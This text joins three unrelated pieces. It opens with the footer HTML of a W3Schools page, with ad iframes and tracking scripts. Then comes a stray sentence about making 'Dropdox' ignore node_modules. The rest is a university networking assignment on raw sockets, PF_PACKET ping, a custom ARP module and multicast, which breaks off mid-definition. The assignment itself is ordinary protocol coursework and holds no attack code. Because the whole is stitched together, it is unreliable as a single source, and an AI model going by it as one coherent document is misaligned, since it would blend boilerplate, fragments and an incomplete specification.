name="google_ads_iframe_/22152718,16833175/sws-hb//w3schools.com//bottom_medium_rectangle_1" title="3rd party ad content" width="300" height="250" scrolling="no" marginwidth="0" marginheight="0" frameborder="0" role="region" aria-label="Advertisement" tabindex="0" srcdoc="" data-google-container-id="a" style="border: 0px; vertical-align: bottom;" data-load-complete="true"></iframe></div></div> <!-- adspace bmr --> <!-- RightBottomMediumRectangle --> <!--<pre>right_bottom_medium_rectangle, desktop: [300,250][336,280]</pre>--> <div id="adngin-bottom_right-0" style="padding:0 10px 10px 0;float:left;width:auto;"><div id="sn_ad_label_adngin-bottom_right-0" class="sn_ad_label" style="color:#000000;font-size:12px;margin:0;text-align:center;">ADVERTISEMENT</div></div> </div> </div> <hr> <div class="w3-row-padding w3-center w3-small" style="margin:0 -16px;"> <div class="w3-col l3 m3 s12"> <a class="w3-button ws-grey ws-hover-black w3-block w3-round" href="javascript:void(0);" onclick="displayError();return false" style="white-space:nowrap;text-decoration:none;margin-top:1px;margin-bottom:1px;font-size:15px;">Report Error</a> </div> <!-- <div class="w3-col l3 m3 s12"> <a class="w3-button w3-light-grey w3-block" href="javascript:void(0);" target="_blank" onclick="printPage();return false;" style="text-decoration:none;margin-top:1px;margin-bottom:1px">PRINT PAGE</a> </div> --> <div class="w3-col l3 m3 s12"> <a class="w3-button ws-grey ws-hover-black w3-block w3-round" href="/forum/default.asp" target="_blank" style="text-decoration:none;margin-top:1px;margin-bottom:1px;font-size:15px">Forum</a> </div> <div class="w3-col l3 m3 s12"> <a class="w3-button ws-grey ws-hover-black w3-block w3-round" href="/about/default.asp" target="_top" style="text-decoration:none;margin-top:1px;margin-bottom:1px;font-size:15px">About</a> </div> <div class="w3-col l3 m3 s12"> <a class="w3-button ws-grey ws-hover-black w3-block w3-round" href="https://shop.w3schools.com/" target="_blank" style="text-decoration:none;margin-top:1px;margin-bottom:1px;font-size:15px">Shop</a> </div> </div> <hr> <div class="ws-grey w3-padding w3-margin-bottom" id="err_form" style="display:none;position:relative"> <span onclick="this.parentElement.style.display='none'" class="w3-button w3-display-topright w3-large">×</span> <h2>Report Error</h2> <p>If you want to report an error, or if you want to make a suggestion, do not hesitate to send us an e-mail:</p> <p>help@w3schools.com</p> <br> <!-- <h2>Your Suggestion:</h2> <form> <div class="w3-section"> <label for="err_email">Your E-mail:</label> <input class="w3-input w3-border" type="text" style="margin-top:5px;width:100%" id="err_email" name="err_email"> </div> <div class="w3-section"> <label for="err_email">Page address:</label> <input class="w3-input w3-border" type="text" style="width:100%;margin-top:5px" id="err_url" name="err_url" disabled="disabled"> </div> <div class="w3-section"> <label for="err_email">Description:</label> <textarea rows="10" class="w3-input w3-border" id="err_desc" name="err_desc" style="width:100%;margin-top:5px;resize:vertical;"></textarea> </div> <div class="form-group"> <button type="button" class="w3-button w3-dark-grey" onclick="sendErr()">Submit</button> </div> <br> </form> --> </div> <div class="w3-container ws-grey w3-padding" id="err_sent" style="display:none;position:relative"> <span onclick="this.parentElement.style.display='none'" class="w3-button w3-display-topright">×</span> <h2>Thank You For Helping Us!</h2> <p>Your message has been sent to W3Schools.</p> </div> <div class="w3-row w3-center w3-small"> <div class="w3-col l3 m6 s12"> <div class="top10"> <h5 style="font-family: 'Source Sans Pro', sans-serif;">Top Tutorials</h5> <a href="/html/default.asp">HTML Tutorial</a><br> <a href="/css/default.asp">CSS Tutorial</a><br> <a href="/js/default.asp">JavaScript Tutorial</a><br> <a href="/howto/default.asp">How To Tutorial</a><br> <a href="/sql/default.asp">SQL Tutorial</a><br> <a href="/python/default.asp">Python Tutorial</a><br> <a href="/w3css/default.asp">W3.CSS Tutorial</a><br> <a href="/bootstrap/bootstrap_ver.asp">Bootstrap Tutorial</a><br> <a href="/php/default.asp">PHP Tutorial</a><br> <a href="/java/default.asp">Java Tutorial</a><br> <a href="/cpp/default.asp">C++ Tutorial</a><br> <a href="/jquery/default.asp">jQuery Tutorial</a><br> </div> </div> <div class="w3-col l3 m6 s12"> <div class="top10"> <h5 style="font-family: 'Source Sans Pro', sans-serif;">Top References</h5> <a href="/tags/default.asp">HTML Reference</a><br> <a href="/cssref/default.asp">CSS Reference</a><br> <a href="/jsref/default.asp">JavaScript Reference</a><br> <a href="/sql/sql_ref_keywords.asp">SQL Reference</a><br> <a href="/python/python_reference.asp">Python Reference</a><br> <a href="/w3css/w3css_references.asp">W3.CSS Reference</a><br> <a href="/bootstrap/bootstrap_ref_all_classes.asp">Bootstrap Reference</a><br> <a href="/php/php_ref_overview.asp">PHP Reference</a><br> <a href="/colors/colors_names.asp">HTML Colors</a><br> <a href="/java/java_ref_keywords.asp">Java Reference</a><br> <a href="/angular/angular_ref_directives.asp">Angular Reference</a><br> <a href="/jquery/jquery_ref_overview.asp">jQuery Reference</a><br> </div> </div> <div class="w3-col l3 m6 s12"> <div class="top10"> <h5 style="font-family: 'Source Sans Pro', sans-serif;">Top Examples</h5> <a href="/html/html_examples.asp">HTML Examples</a><br> <a href="/css/css_examples.asp">CSS Examples</a><br> <a href="/js/js_examples.asp">JavaScript Examples</a><br> <a href="/howto/default.asp">How To Examples</a><br> <a href="/sql/sql_examples.asp">SQL Examples</a><br> <a href="/python/python_examples.asp">Python Examples</a><br> <a href="/w3css/w3css_examples.asp">W3.CSS Examples</a><br> <a href="/bootstrap/bootstrap_examples.asp">Bootstrap Examples</a><br> <a href="/php/php_examples.asp">PHP Examples</a><br> <a href="/java/java_examples.asp">Java Examples</a><br> <a href="/xml/xml_examples.asp">XML Examples</a><br> <a href="/jquery/jquery_examples.asp">jQuery Examples</a><br> </div> </div> <div class="w3-col l3 m6 s12"> <div class="top10"> <!-- <h4>Web Certificates</h4> <a href="/cert/default.asp">HTML Certificate</a><br> <a href="/cert/default.asp">CSS Certificate</a><br> <a href="/cert/default.asp">JavaScript Certificate</a><br> <a href="/cert/default.asp">SQL Certificate</a><br> <a href="/cert/default.asp">Python Certificate</a><br> <a href="/cert/default.asp">PHP Certificate</a><br> <a href="/cert/default.asp">Bootstrap Certificate</a><br> <a href="/cert/default.asp">XML Certificate</a><br> <a href="/cert/default.asp">jQuery Certificate</a><br> <a href="//www.w3schools.com/cert/default.asp" class="w3-button w3-margin-top w3-dark-grey" style="text-decoration:none"> Get Certified &raquo;</a> --> <h5 style="font-family: 'Source Sans Pro', sans-serif;">Web Courses</h5> <a href="https://courses.w3schools.com/courses/html" target="_blank" onclick="ga('send', 'event', 'Courses' , 'Clicked on html course link in footer');">HTML Course</a><br> <a href="https://courses.w3schools.com/courses/css" target="_blank" onclick="ga('send', 'event', 'Courses' , 'Clicked on css course link in footer');">CSS Course</a><br> <a href="https://courses.w3schools.com/courses/javascript" target="_blank" onclick="ga('send', 'event', 'Courses' , 'Clicked on javascript course link in footer');">JavaScript Course</a><br> <a href="https://courses.w3schools.com/programs/front-end" target="_blank" onclick="ga('send', 'event', 'Courses' , 'Clicked on Front End course link in footer');">Front End Course</a><br> <a href="https://courses.w3schools.com/courses/sql" target="_blank" onclick="ga('send', 'event', 'Courses' , 'Clicked on sql course link in footer');">SQL Course</a><br> <a href="https://courses.w3schools.com/courses/python" target="_blank" onclick="ga('send', 'event', 'Courses' , 'Clicked on python course link in footer');">Python Course</a><br> <a href="https://courses.w3schools.com/courses/php" target="_blank" onclick="ga('send', 'event', 'Courses' , 'Clicked on php course link in footer');">PHP Course</a><br> <a href="https://courses.w3schools.com/courses/jquery" target="_blank" onclick="ga('send', 'event', 'Courses' , 'Clicked on jquery course link in footer');">jQuery Course</a><br> <a href="https://courses.w3schools.com/courses/java" target="_blank" onclick="ga('send', 'event', 'Courses' , 'Clicked on Java course link in footer');">Java Course</a><br> <a href="https://courses.w3schools.com/courses/cplusplus" target="_blank" onclick="ga('send', 'event', 'Courses' , 'Clicked on C++ course link in footer');">C++ Course</a><br> <a href="https://courses.w3schools.com/courses/c-sharp" target="_blank" onclick="ga('send', 'event', 'Courses' , 'Clicked on bootstrap C# link in footer');">C# Course</a><br> <a href="https://courses.w3schools.com/courses/xml" target="_blank" onclick="ga('send', 'event', 'Courses' , 'Clicked on xml course link in footer');">XML Course</a><br> <a href="https://courses.w3schools.com/" target="_blank" class="w3-button w3-margin-top ws-black ws-hover-black w3-round" style="text-decoration:none" onclick="ga('send', 'event', 'Courses' , 'Clicked on get certified button in footer');"> Get Certified »</a> </div> </div> </div> <hr> <div class="w3-center w3-small w3-opacity"> W3Schools is optimized for learning and training. Examples might be simplified to improve reading and learning. Tutorials, references, and examples are constantly reviewed to avoid errors, but we cannot warrant full correctness of all content. While using W3Schools, you agree to have read and accepted our <a href="/about/about_copyright.asp">terms of use</a>, <a href="/about/about_privacy.asp">cookie and privacy policy</a>.<br><br> <a href="/about/about_copyright.asp">Copyright 1999-2022</a> by Refsnes Data. All Rights Reserved.<br> <a href="//www.w3schools.com/w3css/default.asp">W3Schools is Powered by W3.CSS</a>.<br><br> </div> <div class="w3-center w3-small"> <a href="//www.w3schools.com"> <i class="fa fa-logo ws-text-green ws-hover-text-green" style="position:relative;font-size:42px!important;"></i> </a></div><a href="//www.w3schools.com"> <br><br> </a></div><a href="//www.w3schools.com"> </a></div><iframe name="__tcfapiLocator" style="display: none;"></iframe><iframe name="__uspapiLocator" style="display: none;"></iframe><a href="//www.w3schools.com"> <script src="/lib/w3schools_footer.js?update=20220202"></script> <script> MyLearning.loadUser('footer'); function docReady(fn) { document.addEventListener("DOMContentLoaded", fn); if (document.readyState === "interactive" || document.readyState === "complete" ) { fn(); } } uic_r_z(); uic_r_d() </script><iframe src="https://56d0da6c34aaa471db22bb4266aac656.safeframe.googlesyndication.com/safeframe/1-0-38/html/container.html" style="visibility: hidden; display: none;"></iframe> <!--[if lt IE 9]> <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script> <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script> <![endif]--> </a><script type="text/javascript" src="https://geo.moatads.com/n.js?e=35&amp;ol=3318087536&amp;qn=%604%7BZEYwoqI%24%5BK%2BdLLU)%2CMm~tM!90vv9L%24%2FoDb%2Fz(lKm3GFlNUU%2Cu%5Bh_GcS%25%5BHvLU%5B4(K%2B%7BgeFWl_%3DNqUXR%3A%3D%2BAxMn%3Ch%2CyenA8p%2FHm%24%60%233P(ry5*ZRocMp1tq%5BN%7Bq%60RP%3CG.ceFW%7CoG%22mxT%3Bwv%40V374BKm55%3D%261fp%5BoU5t(KX%3C%3Ce%24%26%3B%23wPjrBEe31k5X%5BG%5E%5B)%2C2iVSWf3Stnq%263t!9jr%7BRzI%2C%7BOCb%25%24(%3DNqU%60W5u%7Bo(zs1CoK%2Bdr%5BG)%2C3ii)RGL3emgSuRVE&amp;tf=1_nMzjG---CSa7H-1SJH-bW7qhB-LRwqH-nMzjG-&amp;vi=111111&amp;rb=2-90xv0J4P%2FoMsPm8%2BZbNmT2EB%2BBOA3JNdQL68hLPh4bg2%2F%2FnQIIWF3Q%3D%3D&amp;rs=1-iHtHGE9B1zA1OQ%3D%3D&amp;sc=1&amp;os=1-3g%3D%3D&amp;qp=10000&amp;is=BBBBB2BBEYBvGl2BBCkqtUTE1RmsqbKW8BsrBu0rCFE48CRBeeBS2hWTMBBQeQBBn2soYggyUig0CBlWZ0uBBCCCCCCOgRBBiOfnE6Bkg7Oxib8MxOtJYHCBdm5kBhIcC9Y8oBXckXBR76iUUsJBCBBBBBBBBBWBBBj3BBBZeGV2BBBCMciUBBBjgEBBBBBB94UMgTdJMtEcpMBBBQBBBniOccBBBBBB47kNwxBbBBBBBBBBBhcjG6BBJM2L4Bk8BwCBQmIoRBBCzBz1BBCTClBBrbGBC4ehueB57NG9aJeRzBqEKBBBBBBB&amp;iv=8&amp;qt=0&amp;gz=0&amp;hh=0&amp;hn=0&amp;tw=&amp;qc=0&amp;qd=0&amp;qf=1240&amp;qe=883&amp;qh=1280&amp;qg=984&amp;qm=-330&amp;qa=1280&amp;qb=1024&amp;qi=1280&amp;qj=984&amp;to=000&amp;po=1-0020002000002120&amp;vy=ot%24b%5Bh%40%22oDgO%3DLlE6%3Avy%2CUitwb4%5Du!%3CFo%40Y_3r%3F%5DAY~MhXyz%26_%5B*Rp%7C%3EoDKmsiFDRz%5EmlNM%22%254ZpaR%5BA7Do%2C%3Bg%2C%2C%40W7RbzTmejO%3Def%2C%7Bvp%7C9%7C_%3Bm_Qrw5.W%2F84VKp%40i6AKx!ehV%7Du!%3CFo%40pF&amp;ql=%3B%5BpwxnRd%7Dt%3Aa%5DmJVOG)%2C~%405%2F%5BGI%3F6C(TgPB*e%5D1(rI%24(rj2Iy!pw%40aOS%3DyNX8Y%7BQgPB*e%5D1(rI%24(rj%5EB61%2F%3DSqcMr1%7B%2CJA%24Jz_%255tTL%3Fwbs_T%234%25%60X%3CA&amp;qo=0&amp;qr=0&amp;i=TRIPLELIFT1&amp;hp=1&amp;wf=1&amp;ra=1&amp;pxm=8&amp;sgs=3&amp;vb=6&amp;kq=1&amp;hq=0&amp;hs=0&amp;hu=0&amp;hr=0&amp;ht=1&amp;dnt=0&amp;bq=0&amp;f=0&amp;j=https%3A%2F%2Fwww.google.com&amp;t=1650718754860&amp;de=466991431602&amp;m=0&amp;ar=bee2df476bf-clean&amp;iw=2a1d5c5&amp;q=2&amp;cb=0&amp;ym=0&amp;cu=1650718754860&amp;ll=3&amp;lm=0&amp;ln=1&amp;r=0&amp;em=0&amp;en=0&amp;d=6737%3A94724%3Aundefined%3A10&amp;zMoatTactic=undefined&amp;zMoatPixelParams=aid%3A29695277962791520917040%3Bsr%3A10%3Buid%3A0%3B&amp;zMoatOrigSlicer1=2662&amp;zMoatOrigSlicer2=39&amp;zMoatJS=-&amp;zGSRC=1&amp;gu=https%3A%2F%2Fwww.w3schools.com%2Ftags%2Ftag_p.asp&amp;id=1&amp;ii=4&amp;bo=2662&amp;bd=w3schools.com&amp;gw=triplelift879988051105&amp;fd=1&amp;ac=1&amp;it=500&amp;ti=0&amp;ih=1&amp;pe=1%3A512%3A512%3A1026%3A846&amp;jm=-1&amp;fs=198121&amp;na=2100642455&amp;cs=0&amp;ord=1650718754860&amp;jv=1483802810&amp;callback=DOMlessLLDcallback_5147906"></script><iframe src="https://www.google.com/recaptcha/api2/aframe" width="0" height="0" style="display: none;"></iframe></body><iframe sandbox="allow-scripts allow-same-origin" id="936be7941bd9c5c" frameborder="0" allowtransparency="true" marginheight="0" marginwidth="0" width="0" hspace="0" vspace="0" height="0" style="height:0px;width:0px;display:none;" scrolling="no" src="https://jp-u.openx.net/w/1.0/pd?plm=6&amp;ph=8a7ca719-8c2c-4c16-98ad-37ac6dbf26e9&amp;gdpr=0&amp;us_privacy=1---"> </iframe><iframe sandbox="allow-scripts allow-same-origin" id="94da8182082e79b" frameborder="0" allowtransparency="true" marginheight="0" marginwidth="0" width="0" hspace="0" vspace="0" height="0" style="height:0px;width:0px;display:none;" scrolling="no" src="https://eus.rubiconproject.com/usync.html?us_privacy=1---"> </iframe><iframe sandbox="allow-scripts allow-same-origin" id="950ad185776f97c" frameborder="0" allowtransparency="true" marginheight="0" marginwidth="0" width="0" hspace="0" vspace="0" height="0" style="height:0px;width:0px;display:none;" scrolling="no" src="https://cdn.connectad.io/connectmyusers.php?us_privacy=1---&amp;"> </iframe><iframe sandbox="allow-scripts allow-same-origin" id="960961bdb263a5c" frameborder="0" allowtransparency="true" marginheight="0" marginwidth="0" width="0" hspace="0" vspace="0" height="0" style="height:0px;width:0px;display:none;" scrolling="no" src="https://ads.pubmatic.com/AdServer/js/user_sync.html?kdntuid=1&amp;p=157369&amp;gdpr=0&amp;gdpr_consent=&amp;us_privacy=1---"> </iframe><iframe sandbox="allow-scripts allow-same-origin" id="973d77507d8ed2c" frameborder="0" allowtransparency="true" marginheight="0" marginwidth="0" width="0" hspace="0" vspace="0" height="0" style="height:0px;width:0px;display:none;" scrolling="no" src="https://s.amazon-adsystem.com/iu3?cm3ppd=1&amp;d=dtb-pub&amp;csif=t&amp;dl=n-index_pm-db5_ym_rbd_n-vmg_ox-db5_smrt_an-db5_3lift"> </iframe><iframe sandbox="allow-scripts allow-same-origin" id="986df094b3ccc6f" frameborder="0" allowtransparency="true" marginheight="0" marginwidth="0" width="0" hspace="0" vspace="0" height="0" style="height:0px;width:0px;display:none;" scrolling="no" src="https://biddr.brealtime.com/check.html"> </iframe><iframe sandbox="allow-scripts allow-same-origin" id="9984b091a86efa7" frameborder="0" allowtransparency="true" marginheight="0" marginwidth="0" width="0" hspace="0" vspace="0" height="0" style="height:0px;width:0px;display:none;" scrolling="no" src="https://js-sec.indexww.com/um/ixmatch.html"> </iframe><iframe sandbox="allow-scripts allow-same-origin" id="1004b17db44af55b" frameborder="0" allowtransparency="true" marginheight="0" marginwidth="0" width="0" hspace="0" vspace="0" height="0" style="height:0px;width:0px;display:none;" scrolling="no" src="https://csync.smilewanted.com?us_privacy=1---"> </iframe><iframe sandbox="allow-scripts allow-same-origin" id="101af22cac10bcfd" frameborder="0" allowtransparency="true" marginheight="0" marginwidth="0" width="0" hspace="0" vspace="0" height="0" style="height:0px;width:0px;display:none;" scrolling="no" src="https://onetag-sys.com/usync/?cb=1650718752982&amp;us_privacy=1---"> </iframe><iframe sandbox="allow-scripts allow-same-origin" id="10290b51ae900f2b" frameborder="0" allowtransparency="true" marginheight="0" marginwidth="0" width="0" hspace="0" vspace="0" height="0" style="height:0px;width:0px;display:none;" scrolling="no" src="https://eb2.3lift.com/sync?us_privacy=1---&amp;"> </iframe><iframe sandbox="allow-scripts allow-same-origin" id="103d27603dbc3983" frameborder="0" allowtransparency="true" marginheight="0" marginwidth="0" width="0" hspace="0" vspace="0" height="0" style="height:0px;width:0px;display:none;" scrolling="no" src="https://acdn.adnxs.com/dmp/async_usersync.html"> </iframe></html>

This package will tell Dropdox to ignore the node_modules directory inside your project.

Overview For this assignment you will be developing an application that uses raw IP sockets to ‘walk’ around an ordered list of nodes (given as a command line argument at the ‘source’ node, which is the node at which the tour was initiated), in a manner similar to the IP SSRR (Strict Source and Record Route) option. At each node, the application pings the preceding node in the tour. However, unlike the ping code in Stevens, you will be sending the ping ICMP echo request messages through a SOCK_RAW-type PF_PACKET socket and implementing ARP functionality to find the Ethernet address of the target node. Finally, when the ‘walk’ is completed, the group of nodes visited on the tour will exchange multicast messages. Your code will consist of two process modules, a ‘Tour’ application module (which will implement all the functionality outlined above, except for ARP activity) and an ARP module. The following should prove to be useful reference material for the assignment: Sections 21.2, 21.3, 21.6 and 21.10, Chapter 21, on Multicasting. Sections 27.1 to 27.3, Chapter 27, on the IP SSRR option. Sections 28.1 to 28.5, Chapter 28, on raw sockets, the IP_HDRINCL socket option, and ping. Sections 15.5, Chapter 15, on Unix domain SOCK_STREAM sockets. Figure 29.14, p. 807, and the corresponding explanation on p. 806, on filling in an IP header when the IP_HDRINCL socket option is in effect. The Lecture Slides on ARP & RARP (especially Section 4.4, ARP Packet Format, and the Figure 4.3 it includes). The link http://www.pdbuchan.com/rawsock/rawsock.html contains useful code samples that use IP raw sockets and PF_PACKET sockets. Note, in partcular, the code “icmp4_ll.c” in Table 2 for building an echo request sent through a PF_PACKET SOCK_RAW socket. The VMware environment You will be using the same vm1 , . . . . . , vm10 nodes you used for Assignment 3. However, unlike Assignment 3, you should use only interfaces eth0 and their associated IP addresses and ignore the other Ethernet interfaces that nodes have (interfaces eth0 make vm1 , . . . . . , vm10 look as if they belong to the same Ethernet LAN segment IP network 130.245.156.0/24). Note that, apart from the primary IP addresses associated with interfaces eth0, some nodes might also have one or more alias IP addresses associated with their interface eth0. Tour application module specifications The application will create a total of four sockets: two IP raw sockets, a PF_PACKET socket and a UDP socket for multicasting. We shall call the two IP raw sockets the ‘rt ’ (‘route traversal’) and ‘pg ’ (‘ping’) sockets, respectively. The rt socket should have the IP_HDRINCL option set. You will only be receiving ICMP echo reply messages through the pg socket (and not sending echo requests), so it does not matter whether it has the IP_HDRINCL option set or not. The pg socket should have protocol value (i.e., protocol demultiplexing key in the IP header) IPPROTO_ICMP. The rt socket should have a protocol value that identifies the application - i.e., some value other than the IPPROTO_XXXX values in /usr/include/netinet/in.h. However, remember that you will all be running your code using the same root account on the vm1 , . . . . . , vm10 nodes. So if two of you happen to choose the same protocol value and happen to be running on the same vm node at the same time, your applications will receive each other’s IP packets. For that reason, try to choose a protocol value for your rt socket that is likely to be unique to yourself. The PF_PACKET socket should be of type SOCK_RAW (not SOCK_DGRAM). This socket should have a protocol value of ETH_P_IP = 0x0800 (IPv4). The UDP socket for multicasting will be discussed below. Note that, depending on how you choose to bind that socket, you might actually need to have two UDP sockets for multicast communication – see bottom of p. 576, Section 21.10. Your application will, of course, have to be running on every vm node that is included in the tour. When evoking the application on the source node, the user supplies a sequence of vm node names (not IP addresses) to be visited in order. This command line sequence starts with the next node to be visited from the source node (i.e., it does not start with the source node itself). The sequence can include any number of repeated visits to the same node. For example, suppose that the source node is vm3 and the executable is called badr_tour : [root@vm3/root]# badr_tour vm2 vm10 vm4 vm7 vm5 vm2 vm6 vm2 vm9 vm4 vm7 vm2 vm6 vm5 vm1 vm10 vm8 (but note that the tour does not necessarily have to visit every vm node; and the same node should not appear consequentively in the tour list – i.e., the next node on the tour cannot be the current node itself). The application turns the sequence into a list of IP addresses for source routing. It also adds the IP address of the source node itself to the beginning of the list. The list thus produced will be carried as the payload of an IP packet, not as a SSRR option in the packet header. It is our application which will ensure that every node in the sequence is visited in order, not the IP SSRR capability. The source node should also add to the list an IP multicast address and a port number of its choice. It should also join the multicast group at that address and port number on its UDP socket. The TTL for outgoing multicasts should be set to 1. The application then fills in the header of an IP packet, designating itself as the IP source, and the next node to be visited as the IP destination. The packet is sent out on the rt socket. Note that on Linux, all the fields of the packet header must be in network byte order (Stevens, Section 28.3, p. 737, the fourth bullet point). When filling in the packet header, you should explicitly fill in the identification field (recall that, with the IP_HDRINCL socket option, if the identification field is given value 0, then the kernel will set its value). Try to make sure that the value you choose is likely to be unique to yourself (for reasons similar to those explained with respect to the IPPROTO_XXXX in 1. above). When a node receives an IP packet on its rt socket, it should first check that the identification field carries the right value (this implies that you will hard code your choice of identification field value determined in item 2 above in your code). If the identification field value does not check out, the packet is ignored. For a valid packet : Print out a message along the lines of: <time> received source routing packet from <hostname> <time> is the current time in human-readable format (see lines 19 & 20 in Figure 1.9, p. 14, and the corresponding explanation on p. 14f.), and <hostname> is the host name corresponding to the source IP address in the header of the received packet. If this is the first time the node is visited, the application should use the multicast address and port number in the packet received to join the multicast group on its UDP socket. The TTL for outgoing multicasts should be set to 1. The application updates the list in the payload, so that the next node in the tour can easily identify what the next hop from itself will be when it receives the packet. How you do this I leave up to you. You could, for example, include as part of the payload a pointer field into the list of nodes to be visited. This pointer would then be updated to the next entry in the list as the packet progresses hop by hop (see Figure 27.1 and the associated explanation on pp. 711-712). Other solutions are, of course, possible. The application then fills in a new IP header, designating itself as the IP source, and the next node to be visited as the IP destination. The identification field should be set to the same value as in the received packet. The packet is sent out on the rt socket. The node should also initiate pinging to the preceding node in the tour (the IP address of which it should pick up from the header of the received packet). However, unlike the Stevens ping code, it will be using the SOCK_RAW-type PF_PACKET socket of item 1 above to send the ICMP echo request messages. Before it can send echo request messages, the application has to call on the ARP module you will implement to get the Ethernet address of this preceding / ‘target’ node; this call is made using the API function areq which you will also implement (see sections ARP module specifications & API specifications below). Note that ARP has to be evoked every time the application wants to send out an echo request message, and not just the first time. An echo request message has to be encapsulated in a properly-formulated IP packet, which is in turn encapsulated in a properly-formulated Ethernet frame transmitted out through the PF_PACKET socket ; otherwise, ICMP at the source node will not receive it. You will have to modify Stevens’ ping code accordingly, specifically, the send_v4 function. In particular, the Ethernet frame must have a value of ETH_P_IP = 0x0800 (IPv4 – see <linux/if_ether.h>) in the frame type / ‘length’ field ; and the encapsulated IP packet must have a value of IPPROTO_ICMP = 0x01 (ICMPv4 – see <netinet_in.h>) in its protocol field. You should also simplify the ping code in its entirety by stripping all the ‘indirection’ IPv4 / IPv6 dual-operability paraphernalia and making the code work just for IPv4. Also note that the functions host_serv and freeaddrinfo, together with the associated structure addrinfo (see Sections 11.6, 11.8 & 11.11), in Figures 27.3, 27.6 & 28.5 ( pp. 713, 716 & 744f., respectively) can be replaced by the function gethostbyname and associated structure hostent (see Section 11.3) where needed. Also, there is no ‘-v’ verbose option, so this too should be stripped from Stevens’ code. When a node is ready to start pinging, it first prints out a ‘PING’ message similar to lines 32-33 of Figure 28.5, p. 744. It then builds up ICMP echo request messages and sends them to the source node every 1 second through the PF_PACKET socket. It also reads incoming echo response messages off the pg socket, in response to which it prints out the same kind of output as the code of Figure 28.8, p. 748. If this node and its preceding node have been previously visited in that order during the tour, then pinging would have already been initiated from the one to the other in response to the first visit, and nothing further should nor need be done during second and subsequent visits. In light of the above, note that once a node initiates pinging, it needs to read from both its rt and pg sockets, necessitating the use of the select function. As will be clear from what follows below, the application will anyway be needing also to simultaneously monitor its UDP socket for incoming multicast datagrams. When the last node on the tour is reached, and if this is the first time it is visited, it joins the multicast group and starts pinging the preceding node (if it is not already doing so). After a few echo replies are received (five, say), it sends out the multicast message below on its UDP socket (i.e., the node should wait about five seconds before sending the multicast message) : <<<<< This is node vmi . Tour has ended . Group members please identify yourselves. >>>>> where vmi is the name (not IP address) of the node. The node should also print this message out on stdout preceded, on the same line, by the phrase: Node vmi . Sending: <then print out the message sent>. Each node vmj receiving this message should print out the message received preceded, on the same line, by the phrase: Node vmj . Received <then print out the message received>. Each such node in step a above should then immediately stop its pinging activity. The node should then send out the following multicast message: <<<<< Node vmj . I am a member of the group. >>>>> and print out this message preceded, on the same line, by the phrase: Node vmj . Sending: <then print out the message sent>. Each node receiving these second multicast messages (i.e., the messages that nodes – including itself – sent out in step c above) should print each such message out preceded, on the same line, by the phrase: Node vmk . Received: <then print out the message received>. Reading from the socket in step d above should be implemented with a 5-second timeout. When the timeout expires, the node should print out another message to the effect that it is terminating the Tour application, and gracefully exit its Tour process. Note that under Multicast specifications, the last node in the tour, which sends out the End of Tour message, should itself receive a copy of that message and, when it does, it should behave exactly as do the other nodes in steps a. – e. above. ARP module specifications Your executable is evoked with no command line arguments. Like the Tour module, it will be running on every vm node. It uses the get_hw_addrs function of Assignment 3 to explore its node’s interfaces and build a set of <IP address , HW address> matching pairs for all eth0 interface IP addresses (including alias IP addresses, if any). Write out to stdout in some appropriately clear format the address pairs found. The module creates two sockets: a PF_PACKET socket and a Unix domain socket. The PF_PACKET should be of type SOCK_RAW (not type SOCK_DGRAM) with a protocol value of your choice (but not one of the standard values defined in <linux/if_ether.h>) which is, hopefully, unique to yourself. This value effectively becomes the protocol value for your implementation of ARP. Because this protocol value will be carried in the frame type / ‘length’ field of the Ethernet frame header (see Figure 4.3 of the ARP & RARP handout), the value chosen should be not less than 1536 (0x600) so that it is not misinterpreted as the length of an Ethernet 802.3 frame. The Unix domain socket should be of type SOCK_STREAM (not SOCK_DGRAM). It is a listening socket bound to a ‘well-known’ sun_path file. This socket will be used to communicate with the function areq that is implemented in the Tour module (see the section API specifications below). In this context, areq will act as the client and the ARP module as the server. The ARP module then sits in an infinite loop, monitoring these two sockets. As ARP request messages arrive on the PF_PACKET socket, the module processes them, and responds with ARP reply messages as appropriate. The protocol builds a ‘cache’ of matching <IP address , HW address> pairs from the replies (and requests – see below) it receives. For simplicity, and unlike the real ARP, we shall not implement timing out mechanisms for these cache entries. A cache entry has five parts: (i) IP address ; (ii) HW address ; (iii) sll_ifindex (the interface to be used for reaching the matching pair <(i) , (ii)>) ; (iv) sll_hatype ; and (v) a Unix-domain connection-socket descriptor for a connected client (see the section API specifications below for the latter three). When an ARP reply is being entered in the cache, the ARP module uses the socket descriptor in (v) to send a reply to the client, closes the connection socket, and deletes the socket descriptor from the cache entry. Note that, like the real ARP, when an ARP request is received by a node, and if the request pertains to that receiving node, the sender’s (see Figure 4.3 of the ARP & RARP handout) <IP address, HW address> matching pair should be entered into the cache if it is not already there (together, of course, with (iii) sll_ifindex & (iv) sll_hatype), or updated if need be if such an entry already exists in the cache. If the ARP request received does not pertain to the node receiving it, but there is already an entry in that receiving node's cache for the sender’s <IP address, HW address> matching pair, that entry should be checked and updated if need be. If there is no such entry, no action is taken (in particular, and unlike the case above, no new entry should be made in the receiving node's cache of the sender’s <IP address, HW address> matching pair if such an entry does not already exist). ARP request and reply messages have the same format as Figure 4.3 of the ARP & RARP handout, but with an extra 2-byte identification field added at the beginning which you fill with a value chosen so that it has a high probability of being unique to yourself. This value is to be echoed in the reply message, and helps to act as a further filter in case some other student happens to have fortuitously chosen the same value as yourself for the protocol parameter of the ARP PF_PACKET. Values in the fields of our ARP messages must be in network byte order. You might find the system header file <linux/if_arp.h> useful for manipulating ARP request and reply messages, but remember that our version of these messages have an extra two-byte field as mentioned above. Your code should print out on stdout, in some appropriately clear format, the contents of the Ethernet frame header and ARP request message you send. As described in Section 4.4 of the ARP & RARP handout, the node that responds to the request should, in its reply message, swap the two sender addresses with the two target addresses, as well as, of course, echo back the extra identification field sent with the request. The protocol at this responding node should print out, in an appropriately clear format, both the request frame (header and ARP message) it receives and the reply frame it sends. Similarly, the node that sent the request should print out the reply frame it receives. Finally, recall that the node issuing the request sends out a broadcast Ethernet frame, but the responding node replies with a unicast frame. API specifications The API is for communication between the Tour process and the ARP process. It consists of a single function, areq, implemented in the Tour module. areq is called by send_v4 function of the application every time the latter want to send out an ICMP echo request message: int areq (struct sockaddr *IPaddr, socklen_t sockaddrlen, struct hwaddr *HWaddr); IPaddr contains the primary or alias IPaddress of a ‘target’ node on the LAN for which the corresponding hardware address is being requested. hwaddr is a new structure (and not a pre-existing type) modeled on the sockaddr_ll of PF_PACKET; you will have to declare it in your code. It is used to return the requested hardware address to the caller of areq : structure hwaddr { int 